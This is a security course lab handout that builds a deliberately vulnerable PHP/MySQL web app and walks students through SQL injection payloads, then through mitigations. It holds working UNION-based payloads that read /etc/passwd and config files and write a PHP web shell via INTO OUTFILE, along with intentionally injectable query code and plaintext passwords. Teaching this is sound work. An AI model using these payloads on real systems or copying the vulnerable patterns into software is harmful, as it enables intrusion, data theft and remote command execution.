Lab 1: Advanced SQL Injection Lab

Objective:

This lab will cover advanced SQL injection techniques including: - **Error-based SQL injection** - **Time-based Blind SQL injection** - **Second-order SQL injection** Students will exploit vulnerabilities in a web application, then apply mitigation strategies using secure coding practices.

Lab Requirements:

- **Web Server**: A local server setup such as XAMPP, WAMP, or LAMP (with PHP & MySQL).
- **Database**: A MySQL database with user authentication and product management.
- **Basic Knowledge**: Students should have a basic understanding of SQL, PHP, and SQL injection techniques.

Step 1: Setting up the Environment

1. **Install a Local Server**

   - Install **XAMPP** (https://www.apachefriends.org/index.html) or **WAMP** (http://www.wampserver.com/en/) or **LAMP** on your local machine.
   - Ensure Apache, MySQL, and PHP are running.

2. **Create a Database** Open **phpMyAdmin** (http://localhost/phpmyadmin) and execute the following SQL queries to create the database and tables:

```
CREATE DATABASE vulnerable_db;

USE vulnerable_db;

-- Create Users Table
CREATE TABLE users (
    id INT(11) AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(255) NOT NULL
);

-- Insert Sample Users
INSERT INTO users (username, password) VALUES
('admin', 'admin123'),
('user', 'user123');

-- Create Products Table
CREATE TABLE products (
    id INT(11) AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    description TEXT
);

-- Insert Sample Products
INSERT INTO products (name, description) VALUES
('Product 1', 'Description of Product 1'),
('Product 2', 'Description of Product 2'),
('Product 3', 'Description of Product 3');
```

Step 2: Vulnerable Application Code

1. **Create the Folder for the Application** Create a folder named `vulnerable_app` in the `htdocs` (for XAMPP) or `www` (for WAMP) directory.

2. **Application Files:**

   - `config.php`: Database connection.
   - `db.php`: Contains database queries.
   - `index.php`: Home page with links.
   - `register.php`: User registration form.
   - `login.php`: User login form.
   - `search.php`: Search products page.

---

config.php *(Database Connection)*

```
<?php
$servername = "localhost"; // MySQL server address
$username = "root"; // MySQL username (default for XAMPP is "root")
$password = ""; // MySQL password (default for XAMPP is "")
$dbname = "vulnerable_db"; // Database name

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
?>
```

db.php *(Database Queries)*

```
<?php
include 'config.php';

// Function to retrieve users based on the username (vulnerable to SQL
injection)
```

```php
function get_user($username) {
    global $conn;
    $sql = "SELECT * FROM users WHERE username = '$username'";  // Vulnerable
to SQL injection
    $result = $conn->query($sql);
    return $result;
}

// Function to search for products (vulnerable to SQL injection)
function get_products($search) {
    global $conn;
    $sql = "SELECT * FROM products WHERE name LIKE '%$search%'"; //
Vulnerable to SQL injection
    $result = $conn->query($sql);
    return $result;
}
?>
```

index.php *(Home Page)*

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vulnerable Web Application</title>
</head>
<body>
    <h1>Welcome to the Vulnerable Web Application</h1>
    <p><a href="register.php">Register</a> | <a href="login.php">Login</a> |
<a href="search.php">Search Products</a></p>
</body>
</html>
```

register.php *(User Registration - Vulnerable to Second-order SQL Injection)*

```php
<?php
include 'db.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // Vulnerable to Second-order SQL Injection
    $sql = "INSERT INTO users (username, password) VALUES ('$username',
'$password')";

    if ($conn->query($sql) === TRUE) {
        echo "Registration successful!";
    } else {
        echo "Error: " . $conn->error;
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Register</title>
</head>
<body>
    <h1>Register</h1>
    <form action="register.php" method="POST">
        <label for="username">Username:</label>
        <input type="text" name="username" id="username" required><br><br>
        <label for="password">Password:</label>
        <input type="password" name="password" id="password"
required><br><br>
        <button type="submit">Register</button>
    </form>
</body>
</html>
```

***login.php** (Login - Vulnerable to Time-based Blind SQL Injection)*

```
<?php
include 'db.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // Vulnerable to Time-based Blind SQL Injection
    $result = get_user($username);

    if ($result && $result->num_rows > 0) {
        $row = $result->fetch_assoc();
        // Assuming passwords are stored in plaintext (for testing purposes)
        if ($row['password'] == $password) {
            echo "Login successful!";
        } else {
            echo "Invalid credentials.";
        }
    } else {
        echo "No user found with that username.";
    }
}
?>

<!DOCTYPE html>
```

```
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
</head>
<body>
    <h1>Login</h1>
    <form action="login.php" method="POST">
        <label for="username">Username:</label>
        <input type="text" name="username" id="username" required><br><br>
        <label for="password">Password:</label>
        <input type="password" name="password" id="password"
required><br><br>
        <button type="submit">Login</button>
    </form>
</body>
</html>
```

search.php *(Search - Vulnerable to Error-based SQL Injection)*

```
<?php
include 'db.php';

if ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['search'])) {
    $search = $_GET['search'];

    // Vulnerable to Error-based SQL Injection
    $result = get_products($search);

    if ($result && $result->num_rows > 0) {
        echo "<h3>Search Results:</h3>";
        while ($row = $result->fetch_assoc()) {
            echo "Product: " . $row['name'] . "<br>";
            echo "Description: " . $row['description'] . "<br><br>";
        }
    } else {
        echo "No products found.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Search Products</title>
</head>
<body>
    <h1>Search for Products</h1>
    <form action="search.php" method="GET">
        <label for="search">Search:</label>
        <input type="text" name="search" id="search" required><br><br>
        <button type="submit">Search</button>
    </form>
</body>
</html>
```

Step 3: Exploit SQL Injection Vulnerabilities

1. Error-based SQL Injection

- Go to **search.php** and enter this payload into the search box: `' UNION SELECT NULL, NULL, NULL #`.
- This should trigger a SQL error or data leakage if the application is improperly handling SQL errors.

1. Get Database Version

Objective: Retrieve the version of the database (MySQL, PostgreSQL, etc.). `sql     UNION SELECT NULL, version(), NULL #`

2. Get Current Database

Objective: Retrieve the name of the current database. `sql     UNION SELECT NULL, database(), NULL #`

3. Get Current Database User

Objective: Get the current user connected to the database. `sql     UNION SELECT NULL, user(), NULL #`

4. List All Tables in a Specific Database

Objective: Retrieve all table names from a specific database. `sql     UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema = '[database_name]' #`

5. List All Columns in a Specific Table

Objective: Retrieve all column names from a given table. `sql     UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name = '[table_name]' #`

6. Select Data from a Specific Table

Objective: Retrieve data from a specific column in a table. `sql     UNION SELECT NULL, [column_name], NULL FROM [table_name] #`

Scenario 7: Read File from the Server (Using `LOAD_FILE`)

Objective:

Test if an attacker can exploit SQL injection to read sensitive files from the server using the `LOAD_FILE()` function, assuming the server allows it.

Ethical Testing Steps:

1. **Confirm SQL Injection Vulnerability**:

   - Ask your students to perform a **SQL injection test** by inputting simple payloads like `' OR 1=1 --` in form fields, URL parameters, or HTTP headers to check if the application is vulnerable to SQL injection.

2. **Test to Read Sensitive Files**:

   - If SQL injection is successful, the next step is to use the `LOAD_FILE()` function to try and read a file from the server. The following example attempts to read the **Linux system's `/etc/passwd`** file:

```
UNION SELECT NULL, load_file('/path/to/file'), NULL #
UNION SELECT NULL, load_file('/etc/passwd'), NULL #
UNION SELECT NULL, load_file('/var/log/apache2/access.log'), NULL #
```

   3. **Try Reading Other Sensitive Files**:
   - Students can also test reading other system files, such as:
     - **Apache configuration**: `/etc/httpd/conf/httpd.conf`
     - **Web application configuration**: `/var/www/html/config.php`
     - **Logs**: `/var/log/apache2/access.log`

   Example to read the Apache log file:

```
UNION SELECT NULL, load_file('/var/log/apache2/access.log'), NULL #
```

   4. **Security Implications**:
   - If successful, the attacker can expose sensitive system or application files that may contain user information, configuration data, or logs.

3. **Mitigation**:

   - Ensure the **MySQL user** does not have **FILE** privileges unless necessary.
   - Use MySQL's `secure_file_priv` setting to restrict file access to trusted directories.
   - Apply **input sanitization** and use **prepared statements** to prevent SQL injection.

Scenario 8: Write Data to a File on the Server (Using `OUTFILE`)

Objective:

Test if an attacker can exploit SQL injection to write arbitrary data to a file on the server, which could be used to upload malicious files (like a web shell).

Ethical Testing Steps:

1. **Confirm SQL Injection Vulnerability**:
   - As in the previous scenario, confirm SQL injection is possible through input fields, URL parameters, or headers. The goal is to verify that an attacker can inject malicious SQL queries into the application.
2. **Test to Write Malicious Data to a File**:
   - After confirming SQL injection, use the `OUTFILE` function to write malicious content to a file on the server. For example, to upload a **PHP web shell** (which allows remote command execution), you can use the following payload:

```
UNION SELECT NULL, '[file_content]', NULL INTO OUTFILE
'/path/to/output/file' #
UNION SELECT NULL, '<?php echo shell_exec($_GET["cmd"]); ?>', NULL INTO
OUTFILE '/opt/lampp/htdocs/shell.php' #
```

   - **Expected Outcome**:
     - If successful, this will create a PHP file `shell.php` in the web server's root directory.
     - If this file is accessible via a browser (e.g., `http://localhost/shell.php?cmd=ls`), an attacker could execute arbitrary shell commands by passing them through the `cmd` parameter.
3. **Test Other File Paths**:
   - You can also try to write to different paths on the server to bypass restrictions or target other writable directories. Examples include:
     - **Web directories**: `/var/www/html/`
     - **Temporary directories**: `/tmp/`
     - **Log files**: `/var/log/`

   Example:

```
UNION SELECT NULL, 'This is a test content', NULL INTO OUTFILE
'/tmp/testfile.txt' #
```

4. **Security Implications**:
   - Successful exploitation of this vulnerability can allow attackers to upload **web shells**, which can be used to execute arbitrary commands, escalate privileges, or control the server remotely.

5. **Mitigation**:

   - Ensure that **MySQL users** have restricted **OUTFILE** privileges.
   - Set appropriate file permissions on web directories to prevent writing by MySQL.
   - Use **input validation** and **parameterized queries** to prevent SQL injection in the first place.

9. Trigger Column Mismatch (Error Handling Test)

Objective: Test how the application handles column mismatch errors. `sql` `UNION SELECT NULL, NULL, NULL #`

10. List All Tables in All Databases

Objective: Retrieve all table names from all databases (exploiting information schema). `sql` `UNION SELECT NULL, table_name, NULL FROM information_schema.tables #`

11. List All Columns in All Tables

Objective: Retrieve all column names from all tables in the database. `sql` `UNION SELECT NULL, column_name, NULL FROM information_schema.columns #`

12. Search for Sensitive Data (e.g., Password Columns)

Objective: Retrieve columns potentially containing sensitive data such as passwords. `sql` `UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE column_name LIKE '%password%' #`

13. Retrieve Specific Data (e.g., Emails)

Objective: Retrieve specific data such as email addresses from the `users` table. `sql` `UNION SELECT NULL, email, NULL FROM users #`

14. Count the Rows in a Table

Objective: Retrieve the number of rows in a specific table. `sql` `UNION SELECT NULL, COUNT(*), NULL FROM [table_name] #`

15. Retrieve the Current Date

Objective: Retrieve the current date from the database. `sql` `UNION SELECT NULL, CURDATE(), NULL #`

16. Perform Time-Based Blind SQL Injection

Objective: Test for time-based blind SQL injection by introducing a delay. `sql` `UNION SELECT NULL, SLEEP(5), NULL #`

17. *Retrieve Database System Information (e.g., MySQL Version)*

Objective: Retrieve detailed database system information (e.g., MySQL version). `sql UNION SELECT NULL, @@version_comment, NULL #`

18. *Retrieve Schema Information*

Objective: Retrieve schema information from the database. `sql UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata #`

19. *Trigger Error-Based SQL Injection*

Objective: Generate an error to reveal database structure via error messages. `sql UNION SELECT NULL, table_schema, NULL FROM information_schema.schemata #`

20. *Extract Hostname or System Information*

Objective: Retrieve system-level information such as the database hostname. `sql UNION SELECT NULL, @@hostname, NULL #`

Key Concepts for 3-Column Queries:

1. **The `NULL` Placeholder**:
   - `NULL` is used in the query to match the expected number of columns when the goal is not to retrieve data from a particular column but to display output in the second column.
2. **SQL Functions**:
   - **`version()`**: Returns the version of the database.
   - **`database()`**: Returns the name of the current database.
   - **`user()`**: Returns the current user connected to the database.
   - **`CURDATE()`**: Returns the current date.
   - **`SLEEP()`**: Introduces a delay, useful for time-based blind SQL injection.
   - **`load_file()`**: Reads a file from the server (requires proper permissions).
   - **`INTO OUTFILE`**: Writes data to a file on the server (requires file write permissions).
   - **`COUNT()`**: Counts the number of rows in a table.
3. **`information_schema`**:
   - A metadata schema that contains information about the database, tables, columns, users, and other important structures. It's often used in SQL injection attacks to gather valuable information about the database schema.

Ethical Considerations:

These scenarios are **designed for ethical hacking and educational purposes**. They are meant to be performed in **controlled environments**, such as: - **Penetration testing labs** where you have explicit authorization to test. - **Capture The Flag (CTF)** challenges where testing SQL injection vulnerabilities is allowed. - **Bug bounty programs** where organizations invite security professionals to test their systems for vulnerabilities.

Important Reminder: SQL injection is a **serious vulnerability** that can cause significant damage. Always ensure that testing is done in environments where you have **explicit permission**. Never attempt these techniques on systems you don't have permission to test.

Step 4: Mitigation

1. Use Prepared Statements (to prevent SQL Injection)

For **login.php**, modify the database query to use prepared statements instead of direct SQL.

```
// Use prepared statements for SQL queries
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
```

2. Validate Inputs (to prevent SQL Injection)

For **register.php**, validate and sanitize input data:

```
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
```

3. Error Handling (to prevent information leakage)

For **config.php**, disable error reporting:

```
ini_set('display_errors', 0);
```

Conclusion

This lab exposed students to various **advanced SQL injection techniques** including **error-based**, **time-based blind**, and **second-order SQL injection**. They then learned how to **mitigate** these vulnerabilities using **prepared statements**, **input validation**, and **error handling**.

This comprehensive approach will enhance students' understanding of real-world vulnerabilities and how to fix them effectively.
